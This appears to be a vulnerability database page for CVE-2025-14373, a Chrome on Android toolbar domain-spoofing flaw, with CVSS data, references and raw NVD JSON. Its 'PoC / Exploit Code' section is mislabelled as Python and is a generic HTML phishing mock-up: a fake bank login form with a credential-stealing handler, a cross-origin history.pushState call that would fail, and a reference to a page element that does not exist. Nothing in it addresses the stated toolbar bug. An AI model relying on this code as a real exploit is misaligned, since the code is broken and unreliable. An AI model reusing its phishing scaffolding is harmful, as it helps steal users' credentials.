CVE-2025-14373

Description

Inappropriate implementation in Toolbar in Google Chrome on Android prior to 143.0.7499.110 allowed a remote attacker to perform domain spoofing via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome Android < 143.0.7499.110

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-14373 Domain Spoofing PoC for Google Chrome Android -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-14373 Domain Spoofing PoC</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        .spoofed-content {
            /* Content that appears to be from a trusted domain */
            border: 2px solid #0066cc;
            padding: 20px;
            background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
        }
        input[type="text"] { width: 300px; padding: 10px; margin: 5px 0; }
        button { padding: 10px 20px; background: #0066cc; color: white; border: none; cursor: pointer; }
    </style>
</head>
<body>
    <h2>Domain Spoofing Vulnerability Demo</h2>
    <p><strong>Note:</strong> This PoC demonstrates the domain spoofing technique.</p>
    
    <div class="spoofed-content">
        <h3>Fake Bank Login Page</h3>
        <p>Please log in to your account:</p>
        <input type="text" placeholder="Username" />
        <input type="password" placeholder="Password" />
        <button onclick="stealCredentials()">Login</button>
    </div>

    <script>
        // This demonstrates how an attacker could display fake domain in toolbar
        // while showing malicious content
        
        // Technique 1: Manipulate the displayed URL through history API
        history.pushState(null, '', 'https://www.google.com/');
        
        // Technique 2: Use window.name for iframe manipulation
        window.name = 'https://www.google.com';
        
        // Technique 3: Display misleading content
        document.getElementById('domain-display').textContent = 'https://www.google.com';
        
        function stealCredentials() {
            console.log('Credentials would be stolen in a real attack');
            alert('This is a PoC for educational purposes only.');
        }
        
        // Additional obfuscation techniques could include:
        // - IDN homograph attacks using similar-looking Unicode characters
        // - URL parsing inconsistencies between different browser components
        // - Exploitation of the toolbar rendering logic
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14373
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14373
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14373/
[4] VulDB https://vuldb.com/cve/CVE-2025-14373
[5] https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop_10.html
[6] https://issues.chromium.org/issues/461532432

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14373", "sourceIdentifier": "[email protected]", "published": "2025-12-12T20:15:40.023", "lastModified": "2025-12-19T15:33:52.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Toolbar in Google Chrome on Android prior to 143.0.7499.110 allowed a remote attacker to perform domain spoofing via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1021"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "143.0.7499.109", "matchCriteriaId": "39A9DE45-E352-4B3A-93B9-91097A00A606"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop_10.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/461532432", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}